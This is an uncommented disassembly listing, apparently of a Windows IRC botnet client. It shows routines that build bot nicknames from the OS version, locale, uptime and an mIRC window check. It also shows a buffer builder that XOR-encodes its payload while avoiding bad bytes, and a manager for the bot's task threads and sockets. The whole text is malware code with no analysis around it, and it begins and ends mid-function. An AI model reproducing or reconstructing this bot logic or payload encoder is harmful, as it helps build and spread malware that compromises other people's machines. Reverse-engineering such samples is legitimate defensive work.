loc_40AC5C: ; CODE XREF: .text:0040AC34j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_4270CC ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4315F8
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ACD1
loc_40ACAB: ; CODE XREF: .text:0040ACCFj
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACAB
loc_40ACD1: ; CODE XREF: .text:0040ACA9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43DB88
mov dword ptr [ebp-94h], 94h
call ds:dword_4270D0 ; GetVersionExA
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AD5B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD3B
cmp dword ptr [ebp-84h], 1
jnz short loc_40AD2B
mov esi, offset a95 ; "95"
loc_40AD2B: ; CODE XREF: .text:0040AD24j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AD97
mov esi, offset aNt_0 ; "NT"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD3B: ; CODE XREF: .text:0040AD1Bj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AD4B
mov esi, offset a98 ; "98"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD4B: ; CODE XREF: .text:0040AD42j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AD92
mov esi, offset aMe_0 ; "ME"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD5B: ; CODE XREF: .text:0040AD12j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AD92
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD74
mov esi, offset a2k ; "2K"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD74: ; CODE XREF: .text:0040AD6Bj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AD84
mov esi, offset aXp ; "XP"
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: .text:0040AD7Bj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40AD97
loc_40AD92: ; CODE XREF: .text:0040AD52j
; .text:0040AD62j
mov esi, offset a??? ; "???"
loc_40AD97: ; CODE XREF: .text:0040AD32j
; .text:0040AD39j ...
mov edi, [ebp+8]
push esi
push offset aS_0 ; "[%s]|"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ADDB
loc_40ADB5: ; CODE XREF: .text:0040ADD9j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ADB5
loc_40ADDB: ; CODE XREF: .text:0040ADB3j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40ADE1(char *Dest)
sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp
Source = byte ptr -1Ch
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40AE30
call dword_4CB9E0 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40AE19
mov eax, offset byte_43DB88
loc_40AE19: ; CODE XREF: sub_40ADE1+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+Source]
push 1Ch ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_40AE50
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: sub_40ADE1+22j
call dword_4CB9E0 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40AE44
mov eax, offset byte_43DB88
loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj
lea eax, [ebp+Source]
push eax ; Str
call _strlen
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AE7F
push 1Ch ; Count
lea eax, [ebp+Source]
push [ebp+Dest] ; Source
push eax ; Dest
call _strncat
lea eax, [ebp+Source]
push 1Ch ; Count
push eax ; Source
push [ebp+Dest] ; Dest
call _strncpy
add esp, 18h
loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj
mov eax, [ebp+Dest]
leave
retn
sub_40ADE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40AE84(char *Dest,int,int,char *Str1)
sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
Dest = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str1 = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D91C
loc_40AE90: ; CODE XREF: sub_40AE84+3Fj
cmp [ebp+Str1], 0
jz short loc_40AEAB
lea eax, [esi-0Ch]
push eax ; Str2
push [ebp+Str1] ; Str1
call _strcmp
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AEB5
; ---------------------------------------------------------------------------
loc_40AEAB: ; CODE XREF: sub_40AE84+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AEB5: ; CODE XREF: sub_40AE84+25j
test eax, eax
jnz short loc_40AEC7
add esi, 14h
inc edi
cmp esi, offset off_42D9A8
jb short loc_40AE90
jmp short loc_40AED5
; ---------------------------------------------------------------------------
loc_40AEC7: ; CODE XREF: sub_40AE84+33j
push [ebp+Dest] ; Dest
lea eax, [edi+edi*4]
call off_42D920[eax*4]
pop ecx
loc_40AED5: ; CODE XREF: sub_40AE84+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AEE8
push [ebp+Dest] ; Dest
call sub_40ADE1
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AEE8: ; CODE XREF: sub_40AE84+57j
mov eax, [ebp+Dest]
pop ebp
retn
sub_40AE84 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_43DB88
mov dword ptr [ebp-0B8h], 94h
call ds:dword_4270D0 ; GetVersionExA
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AF67
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF48
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40AF38
mov edi, offset a95 ; "95"
loc_40AF38: ; CODE XREF: .text:0040AF31j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AFA3
mov edi, offset aNt_0 ; "NT"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF48: ; CODE XREF: .text:0040AF28j
cmp [ebp-0B0h], ebx
jnz short loc_40AF57
mov edi, offset a98 ; "98"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF57: ; CODE XREF: .text:0040AF4Ej
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AF9E
mov edi, offset aMe_0 ; "ME"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF67: ; CODE XREF: .text:0040AF1Fj
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AF9E
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF80
mov edi, offset a2k ; "2K"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF80: ; CODE XREF: .text:0040AF77j
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AF90
mov edi, offset aXp ; "XP"
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF90: ; CODE XREF: .text:0040AF87j
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_431684
jz short loc_40AFA3
loc_40AF9E: ; CODE XREF: .text:0040AF5Ej
; .text:0040AF6Ej
mov edi, offset dword_431680
loc_40AFA3: ; CODE XREF: .text:0040AF3Fj
; .text:0040AF46j ...
lea eax, [ebp-0A4h]
push offset word_4CB88C
push eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40AFC1
mov esi, offset dword_43167C
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFC1: ; CODE XREF: .text:0040AFB8j
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_40AFDF
mov esi, offset dword_431678
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: .text:0040AFD6j
lea eax, [ebp-0A4h]
push offset dword_431674
push eax
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_40AFFD
mov esi, offset dword_431670
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: .text:0040AFF4j
lea eax, [ebp-0A4h]
push offset dword_43166C
push eax
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_40B01B
mov esi, offset dword_431668
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40B01B: ; CODE XREF: .text:0040B012j
lea eax, [ebp-0A4h]
push offset dword_431664
push eax
call _strstr
pop ecx
mov esi, offset dword_431660
test eax, eax
pop ecx
jnz short loc_40B03C
mov esi, offset off_43165C
loc_40B03C: ; CODE XREF: .text:0040AFBFj
; .text:0040AFDDj ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41ADD8
pop ecx
push eax
call _sscanf
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40B086
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call __snprintf
add esp, 10h
jmp short loc_40B0AA
; ---------------------------------------------------------------------------
loc_40B086: ; CODE XREF: .text:0040B06Fj
cmp eax, 64h
jge short loc_40B098
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call __itoa
jmp short loc_40B0A7
; ---------------------------------------------------------------------------
loc_40B098: ; CODE XREF: .text:0040B089j
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call __snprintf
loc_40B0A7: ; CODE XREF: .text:0040B096j
add esp, 0Ch
loc_40B0AA: ; CODE XREF: .text:0040B084j
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
call ds:dword_4270CC ; GetLocaleInfoA
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS_0 ; "%s|%s|%s|%s|"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 1Ch
cmp dword_429098, esi
jle short loc_40B115
loc_40B0F0: ; CODE XREF: .text:0040B113j
call _rand
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40B0F0
loc_40B115: ; CODE XREF: .text:0040B0EEj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B11C(char *Str,int)
sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap
; sub_40B214+8p ...
Str = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+Str] ; Str
call _strlen
push [esp+8+arg_4] ; Str
mov esi, eax
call _strlen
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B11C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B13C(void *Dst,int,char *Src,int)
sub_40B13C proc near ; CODE XREF: sub_40B22B+49p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Src = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C] ; int
push [ebp+Src] ; Str
call sub_40B11C
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B159
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B159: ; CODE XREF: sub_40B13C+17j
push ebx
push esi
push edi
push [ebp+Src] ; Str
call _strlen
push [ebp+arg_C] ; Str
mov esi, eax
call _strlen
mov edi, eax
mov ebx, [ebp+Dst]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43171C, eax
lea eax, [edi+1]
mov dword_43173D, eax
lea eax, [edi+17h]
mov dword_431735, eax
pop eax
push 74h ; Size
sub eax, edi
push offset dword_4316B8 ; Src
push ebx ; Dst
mov dword_43174B, eax
call _memcpy
push esi ; Size
lea eax, [ebx+74h]
push [ebp+Src] ; Src
push eax ; Dst
call _memcpy
add esi, 74h
push 5 ; Size
push offset aGet ; " get "
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esi, 5
push edi ; Size
push [ebp+arg_C] ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esi, edi
push 10h ; Size
push (offset aGet+5) ; Src
lea eax, [esi+ebx]
push eax ; Dst
call _memcpy
add esp, 44h
add esi, 10h
push edi ; Size
lea eax, [esi+ebx]
push [ebp+arg_C] ; Src
push eax ; Dst
call _memcpy
add esi, edi
push 38h ; Size
add esi, ebx
push offset byte_431741 ; Src
push esi ; Dst
call _memcpy
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B13C endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B214(char *Str,int)
sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp
Str = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4] ; int
push [esp+4+Str] ; Str
call sub_40B11C
push eax
call sub_40B298
add esp, 0Ch
retn
sub_40B214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B22B(void *Dst,int,char *Str,int)
sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
Src = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+Src]
push edi
mov edi, [ebp+arg_C]
push edi ; int
push ebx ; Str
call sub_40B214
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B24B
cmp eax, 0FFFFh
jbe short loc_40B24F
loc_40B24B: ; CODE XREF: sub_40B22B+17j
xor eax, eax
jmp short loc_40B294
; ---------------------------------------------------------------------------
loc_40B24F: ; CODE XREF: sub_40B22B+1Ej
push esi
push edi ; int
push ebx ; Str
call sub_40B11C
add eax, 101h
push eax ; Size
call _malloc
add esp, 0Ch
mov esi, eax
push edi ; int
push ebx ; Src
push edi ; int
push ebx ; Str
call sub_40B11C
pop ecx
pop ecx
push eax ; int
push esi ; Dst
call sub_40B13C
push eax ; int
push esi ; int
push [ebp+arg_4] ; int
push [ebp+Dst] ; Dst
call sub_40B2B3
push esi
mov edi, eax
call sub_41BA91
add esp, 24h
mov eax, edi
pop esi
loc_40B294: ; CODE XREF: sub_40B22B+22j
pop edi
pop ebx
pop ebp
retn
sub_40B22B endp
; =============== S U B R O U T I N E =======================================
sub_40B298 proc near ; CODE XREF: sub_40B214+Ep
; sub_40B2B3+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B2A1
inc ecx
loc_40B2A1: ; CODE XREF: sub_40B298+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B2B3(void *Dst,int,int,int)
sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B2D2
loc_40B2CF: ; CODE XREF: sub_40B2B3+8j
; sub_40B2B3+Ej ...
inc [ebp+arg_C]
loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B2FA
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B2F3
cmp al, 0Dh
jz short loc_40B2F3
cmp al, 5Ch
jz short loc_40B2F3
test al, al
jnz short loc_40B2FA
loc_40B2F3: ; CODE XREF: sub_40B2B3+32j
; sub_40B2B3+36j ...
add [ebp+arg_C], 100h
loc_40B2FA: ; CODE XREF: sub_40B2B3+28j
; sub_40B2B3+3Ej
push [ebp+arg_C]
call sub_40B298
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B312
cmp eax, 0FFFFh
jbe short loc_40B319
loc_40B312: ; CODE XREF: sub_40B2B3+56j
xor eax, eax
jmp loc_40B3B7
; ---------------------------------------------------------------------------
loc_40B319: ; CODE XREF: sub_40B2B3+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4CBB18
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B349
loc_40B32D: ; CODE XREF: sub_40B2B3+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B340
cmp al, 0Ah
jz short loc_40B340
cmp al, 0Dh
jz short loc_40B340
cmp al, 5Ch
jnz short loc_40B344
loc_40B340: ; CODE XREF: sub_40B2B3+7Fj
; sub_40B2B3+83j ...
inc bl
xor edx, edx
loc_40B344: ; CODE XREF: sub_40B2B3+8Bj
inc edx
cmp edx, ecx
jb short loc_40B32D
loc_40B349: ; CODE XREF: sub_40B2B3+78j
cmp ecx, esi
mov byte_4CBB18, bl
ja short loc_40B375
push 15h ; Size
push offset dword_4316A0 ; Src
push [ebp+Dst] ; Dst
mov byte_4316AD, cl
mov byte_4316B1, bl
call _memcpy
add esp, 0Ch
push 15h
jmp short loc_40B396
; ---------------------------------------------------------------------------
loc_40B375: ; CODE XREF: sub_40B2B3+9Ej
push 17h ; Size
push offset dword_431688 ; Src
push [ebp+Dst] ; Dst
mov word_431696, cx
mov byte_43169B, bl
call _memcpy
add esp, 0Ch
push 17h
loc_40B396: ; CODE XREF: sub_40B2B3+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B3B2
mov edx, [ebp+Dst]
lea esi, [ecx+edx]
loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B3A4
loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B3B7: ; CODE XREF: sub_40B2B3+61j
pop esi
leave
retn
sub_40B2B3 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40B3BA(char *Source,int,int)
sub_40B3BA proc near ; CODE XREF: WinMain(x,x,x,x)+378p
; WinMain(x,x,x,x)+3B7p ...
Source = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E710
loc_40B3C2: ; CODE XREF: sub_40B3BA+18j
cmp byte ptr [eax], 0
jz short loc_40B3D6
add eax, 234h
inc edi
cmp eax, offset dword_4CB710
jl short loc_40B3C2
jmp short loc_40B421
; ---------------------------------------------------------------------------
loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh ; Count
push [esp+0Ch+Source] ; Source
lea eax, dword_43E710[esi]
push eax ; Dest
call _strncpy
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E910[esi], eax
and dword_43E914[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E918[esi], 0
mov dword_43E91C[esi], eax
and byte_43E928[esi], 0
pop esi
loc_40B421: ; CODE XREF: sub_40B3BA+1Aj
mov eax, edi
pop edi
retn
sub_40B3BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B425 proc near ; DATA XREF: sub_401ACD+2946o
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10] ; int
mov dword ptr [eax+94h], 1
lea eax, [ebp+Str]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_40B477
push [ebp+var_14]
call sub_40B6D6
add esp, 14h
push 0
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_40B425 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B477(int,char *Str,int,int)
sub_40B477 proc near ; CODE XREF: sub_40B425+38p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset dword_43177C ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43E710
loc_40B4A1: ; CODE XREF: sub_40B477+78j
cmp byte ptr [esi], 0
jz short loc_40B4E2
cmp [ebp+arg_C], 0
jnz short loc_40B4B5
cmp dword ptr [esi+204h], 0
jnz short loc_40B4E2
loc_40B4B5: ; CODE XREF: sub_40B477+33j
push esi
push edi
lea eax, [ebp+Dest]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 24h
loc_40B4E2: ; CODE XREF: sub_40B477+2Dj
; sub_40B477+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B4A1
pop edi
pop esi
leave
retn
sub_40B477 endp
; =============== S U B R O U T I N E =======================================
sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp
; sub_40B583+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B57D
cmp esi, 400h
jge short loc_40B57D
imul esi, 234h
push edi
push ebx
push dword_43E924[esi]
lea edi, dword_43E924[esi]
call ds:dword_4270B4 ; TerminateThread
cmp [edi], ebx
jz short loc_40B52D
push 1
pop ebp
loc_40B52D: ; CODE XREF: sub_40B4F5+33j
mov [edi], ebx
lea edi, dword_43E918[esi]
mov dword_43E910[esi], ebx
mov dword_43E914[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B54E
push eax
call sub_419F16
pop ecx
loc_40B54E: ; CODE XREF: sub_40B4F5+50j
mov [edi], ebx
lea edi, dword_43E91C[esi]
mov byte ptr dword_43E710[esi], bl
mov byte_43E928[esi], bl
push dword ptr [edi]
call dword_4CBA6C ; closesocket
lea esi, dword_43E920[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CBA6C ; closesocket
mov [esi], ebx
pop edi
loc_40B57D: ; CODE XREF: sub_40B4F5+Dj
; sub_40B4F5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B4F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B583 proc near ; CODE XREF: sub_40111D+18p
; WinMain(x,x,x,x):loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E710
loc_40B58F: ; CODE XREF: sub_40B583+2Aj
cmp byte ptr [esi], 0
jz short loc_40B5A0
push edi
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5A0
inc ebx
loc_40B5A0: ; CODE XREF: sub_40B583+Fj
; sub_40B583+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B58F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p
; sub_401ACD+4302p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E914
loc_40B5C9: ; CODE XREF: sub_40B5B5+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B5EB
test edi, edi
jle short loc_40B5DD
cmp [esi], edi
jz short loc_40B5DD
cmp ebx, edi
jnz short loc_40B5EB
loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej
; sub_40B5B5+22j
push ebx
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5EB
inc [ebp+var_4]
loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj
; sub_40B5B5+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB914
jl short loc_40B5C9
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B5B5 endp
; =============== S U B R O U T I N E =======================================
sub_40B602 proc near ; CODE XREF: WinMain(x,x,x,x)+40Fp
; sub_401ACD+95Ep ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E910
loc_40B609: ; CODE XREF: sub_40B602+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B612
inc eax
loc_40B612: ; CODE XREF: sub_40B602+Dj
add ecx, 234h
cmp ecx, offset dword_4CB910
jl short loc_40B609
retn
sub_40B602 endp
; =============== S U B R O U T I N E =======================================
sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E910
loc_40B62B: ; CODE XREF: sub_40B621+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B644
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB910
jl short loc_40B62B
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B644: ; CODE XREF: sub_40B621+10j
mov eax, edx
pop esi
retn
sub_40B621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B648(int,int,int,int,int,int,int,char *Str)
sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp
; sub_401ACD+125Bp ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
Str = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+Str], eax
jz short loc_40B661
push [ebp+Str] ; Str
call _atoi
pop ecx
loc_40B661: ; CODE XREF: sub_40B648+Ej
push eax
push [ebp+arg_18]
call sub_40B5B5
pop ecx
test eax, eax
pop ecx
jle short loc_40B68D
push eax
lea eax, [ebp+Dest]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_40B6A7
; ---------------------------------------------------------------------------
loc_40B68D: ; CODE XREF: sub_40B648+26j
push [ebp+arg_14]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax ; Dest
call _sprintf
add esp, 10h
loc_40B6A7: ; CODE XREF: sub_40B648+43j
cmp [ebp+arg_C], 0
jnz short loc_40B6C7
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_40B6C7: ; CODE XREF: sub_40B648+63j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
leave
retn
sub_40B648 endp
; =============== S U B R O U T I N E =======================================
